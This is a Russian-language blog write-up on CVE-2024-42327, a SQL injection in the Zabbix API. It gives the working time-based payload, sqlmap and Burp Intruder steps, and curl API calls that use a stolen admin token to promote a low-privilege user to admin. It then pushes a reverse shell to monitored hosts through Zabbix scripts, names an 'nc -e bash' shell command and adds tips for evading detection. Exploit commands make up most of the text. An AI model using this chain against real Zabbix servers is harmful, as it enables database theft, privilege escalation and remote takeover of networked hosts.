Разбор CVE-2024-42327, Zabbix
В недавнем времени выдалась возможность поковыряться с SQL injection в Zabbix (— свободная система мониторинга статусов разнообразных сервисов компьютерной сети, серверов и сетевого оборудования, написанная Алексеем Владышевым).
Увидел несколько статьей на эту тему, которые кажется писал один и тот же человек, вкратце раскрыв детали уязвимости. Огромная благодарность этому человеку (или человекам), однако без дополнительного анализа и поиска информации не обошлось.
Статья — больше как инструкция для возможностей проверки и тестирования уязвимости. С использованием не только Burp, но и sqlmap, API самого Zabbix’a и найденные в открытом источнике эксплоиты.
Поехали!
SQL injection в API, edpoint user.get
Уязвимые версии Zabbix
6.0.0 — 6.0.31 (так же кажется где-то видел, что до 6.0.36 версии)
6.4.0 — 6.4.16
7.0.0
Подготовка
Приступим к установке zabbix необходимой для нас версии (ubuntu-6.0.1)
sudo apt install docker docker.io docker-composedocker network create --subnet 172.20.0.0/16 --ip-range 172.20.240.0/20 zabbix-netdocker run --name mysql-server -t \-e MYSQL_DATABASE="zabbix" \-e MYSQL_USER="zabbix" \-e MYSQL_PASSWORD="zabbix_pwd" \-e MYSQL_ROOT_PASSWORD="root_pwd" \--network=zabbix-net \--restart unless-stopped \-d mysql:8.0 \--character-set-server=utf8 --collation-server=utf8_bin \--default-authentication-plugin=mysql_native_passworddocker run --name zabbix-java-gateway -t \--network=zabbix-net \--restart unless-stopped \-d zabbix/zabbix-java-gateway:ubuntu-6.0.1docker run --name zabbix-server-mysql -t \-e DB_SERVER_HOST="mysql-server" \-e MYSQL_DATABASE="zabbix" \-e MYSQL_USER="zabbix" \-e MYSQL_PASSWORD="zabbix_pwd" \-e MYSQL_ROOT_PASSWORD="root_pwd" \-e ZBX_JAVAGATEWAY="zabbix-java-gateway" \--network=zabbix-net \-p 10051:10051 \--restart unless-stopped \-d zabbix/zabbix-server-mysql:ubuntu-6.0.1docker run --name zabbix-web-nginx-mysql -t \-e ZBX_SERVER_HOST="zabbix-server-mysql" \-e DB_SERVER_HOST="mysql-server" \-e MYSQL_DATABASE="zabbix" \-e MYSQL_USER="zabbix" \-e MYSQL_PASSWORD="zabbix_pwd" \-e MYSQL_ROOT_PASSWORD="root_pwd" \--network=zabbix-net \-p 80:8080 \--restart unless-stopped \-d zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.1
Default web login and pass: Admin/zabbix
Предполагаем, что найденные креды пользователя имеют минимальные права в Zabbix.
Для чистоты эксперимента создадим тестовую группу «Users groups». Группа «Guest» нам не подойдет, потому как «Fronted access» у нее в дефолтном состоянии выставлен на «Internal». Так же бы нам подошла группа «Zabbix Administrators» & группа дебага.

Перейдем к созданию роли. Оставим минимум доступа и обязательно доступ к API. (По дефолту выставляется чуть больше доступа, но предположим, что найденные креды постарались максимально ограничить)

Тестовые креды:
test_cve
p2ssw0rd123

Тестирование
Burp
Подготовка стенда завершена. Приступим тестированию уязвимости
Для начала откроем Burp и обратимся на api_jsonrpc.php для получения сессионного токена
{"jsonrpc":"2.0","method":"user.login","params":{"username":"test_cve","password":"p2ssw0rd123"},"id":1}

Далее говорится про SQLi Time-based blind в эндпоинте user.get, попробуем обратится к нему: {"jsonrpc": "2.0","method": "user.get","params": {"selectRole": ["roleid","name","type","readonly AND (SELECT(SLEEP(5)))"],"userids": ["1","2"]},"id": 1,"auth": "d5a70c4b476e176ad5891ad1a2341e1c"}

Выходит наш payload сработал. Уязвимость действительно присутствует.
Далее можем сформировать пейлоад AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_') и вычислить количество символов в наименовании БД.
После чего, отправить запрос в Intruder и перебирать каждый символ, пока не получим название БД
Intruder → Sniper attack → Payload type: Brute force → Character set (цифры/буквы) → min\max lenght =1 → Выделить необходимый символ поиска

SQLmap
Отлично, это все очень круто, но вручную подобное проверять будет достаточно проблематично.
Скопируем запрос из репитера в текстовый файл например sqli_zabb_post_req.txt и попробуем скормить sqlmap, например попробуем прочитать баннер:
SQLMap возможно не лучшее решение в продуктовой среде, но на тестовом стенде можем попробовать его.
sqlmap -r sqli_zabb_post_req.txt --technique=T -b --time-sec 3

Отлично, теперь мы можем бить более точечно указав тип БД и идти дальше. Наименование БД нам тоже известно «zabbix» из теста с Burp.
Попробуем достать с БД всю информацию: sqlmap -r sqli_zabb_post_req.txt --technique=T --dbms MySQL -D zabbix --time-sec 3 --all
Но в данном случае это будет очень долго. Как вариант добавить больше данных, чтобы сократить время поиска.
API zabbix + scripts python or curl
А пока sqlmap работает, попробуем подойти к вопросу с другой стороны.
Составим запрос, для проверки версии Zabbix:
Просмотрев слегка документацию по API нашел необходимый запрос
Запрос версии
(linux): curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"apiinfo.version","params":[],"id":1}'
(windows): curl -X POST -k https://ip_address/api_jsonrpc.php -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"apiinfo.version\",\"params\":[],\"id\":1}"

В случае, если API доступен, нам выдаст версию Zabbix без учетных данных
Запрос на вход API: curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"test_cve","password":"p2ssw0rd123"},"id":1}'Дополнительно в открытом источнике нашел PoC до RCE
Источник: https://github.com/BridgerAlderson/Zabbix-CVE-2024–42327-SQL-Injection-RCE
Однако опробовав предоставленный скрипт, RCE получить не удалось, все же в скрипте присутствует возможность извлечь session token админа.
Поэтому для начала проанализируем предоставленный код и удалим со скрипта лишнее (функции рев шела, ввод л.адреса и л.порта).
Предполагается, что с хоста, с которого выполняется атака есть необходимые библиотеки (их минимум) и Python.
Двигаемся дальше. Получив сессионный токен админа можем попробовать повысить свои привилегии с помощью API, чтобы получить полный доступ в веб интерфейсе Zabbix’a.
Повышение роли тестового пользователя через API
Покопавшись немного в документации, нашел возможность сменить роль нашего пользователя
Например получение списка пользователей с параметрами: curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend"},"auth":"1a53530682a7722fba0d6633e98ab64b","id":1}' | grep "test_cve"

Из этой информации нам нужно извлечь userid нашего пользователя «test_cve» и его roleid (userid:3 & roleid:5)
И в дополнении администратора (userid:1 & roleid:3)

Теперь попробуем сменить роль нашего пользователя
Запрос (используется auth токен администратор): curl -X POST -k http:/ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"3", "roleid":"3"},"auth":"1a53530682a7722fba0d6633e98ab64b","id":1}'
Ответ
{«jsonrpc»:»2.0», «result»:{«userids»:[»3»]}, «id»:1}
Роль успешно сменилась, теперь наш пользователь с ролью администратора и ему доступны все функции в веб интерфейсе

Горизонтальное перемещение
LDAP
Далее можем зайти в настройки LDAP, ничего не меняя отправить запрос на обновление и отловить запрос c чем-то похожим на JWT токен:

Попробовав декодировать данный токен (на jwt.io), можем получить необходимые данные и развить атаку дальше:

Конечно же, этот вариант уместен в случае если настроен LDAP
Удаленное выполнение скриптов с помощью Zabbix
Теперь опробуем удаленное выполнение скриптов (подразумеваем, что на удаленном сервере настроена возможность удаленного выполнения команд):
Задаем имя скрипта → Type: Script → Execute on (выбираем где данный скрипт будет исполняться) → Commands и вставляем сам скрипт (брал стандартный Python3 на revshells.com, можно конечно же использовать что-то вида «nc -e bash ip_address port», но nc/ncat может быть не на всех хостах, к тому же у команды безопасности может быть настроен тригер на nc/ncat, считаю что python/python3 кажется более легитимным)

После чего перемещаемся в «Actions» добавляем условия и операции

Теперь если агенты у нас пассивные, удаленное исполнение команд работает и мы все правильно настроили (/etc/zabbix/zabbix_agentd.conf, строка ServerActive закомментирована и имеется строка «EnableRemoteCommands=1»), то мы должны поймать запрос от удаленного хоста и получить rev shell

И вот наш шел сработал

Делаем вывод, что получив доступ до пользователя заббикса с ролью суперадмина (или любой другой, позволяющей создавать скрипты), мы можем получать удаленные доступы до других хостов под управлением заббикс, при наличии исполнения команд на удаленных хостах.
Дополнительно опробую возможность отправки скриптов с помощью API:
Получим токен
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"test_cve", "password":"p2ssw0rd123"},"id":1}'
Получение информации о узле по имени (выделим hostid:10516)
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"host.get","params":{"filter": {"host": ["hostname"]} },"auth":"fc523f26d819f5cccddcd830675514b5","id":1}'
Получение списка скриптов:
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"script.get","params":{"output":"extend"},"auth":"588af5565413e089b84a4869c7fa12e4","id":1}'Выделяем нужный нам scriptid (scriptid:5)
И нам выдаст ошибку {«jsonrpc»:»2.0», «error»:{«code»:-32500, «message»: «Application error.», «data»: «Script is not allowed in manual host action: scope:1»}, «id»:1}

Потому как при создании скрипта мы не указали ручное включение во вкладке скоуп Поэтому для теста создал клон нашего предыдущего скрипта, изменив скоуп.

Изменив scriptid наш запрос выполнился
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"script.execute","params":{"scriptid":"6", "hostid":"10516"},"auth":"588af5565413e089b84a4869c7fa12e4","id":1}'
Правда соединение было не долгим, поэтому лучше запускать скрипт в веб, с действием.

На этом все, благодарю за внимание!
В дополнение:
Nuclei
Несколько часов после изучения, удалось написать что-то похожее на шаблон для поиска версий Zabbix:


Однако при запуске nuclei -u http://ip_address -t zabbix_cve_template.yaml — debug мне выдало очередное сообщение об ошибке:

Буду максимально благодарен, если кто-то подскажет молодому, что именно не так в шаблоне.
Отдельная благодарность статье, которая позволила разобраться с CVE, и ее автору @denis-19
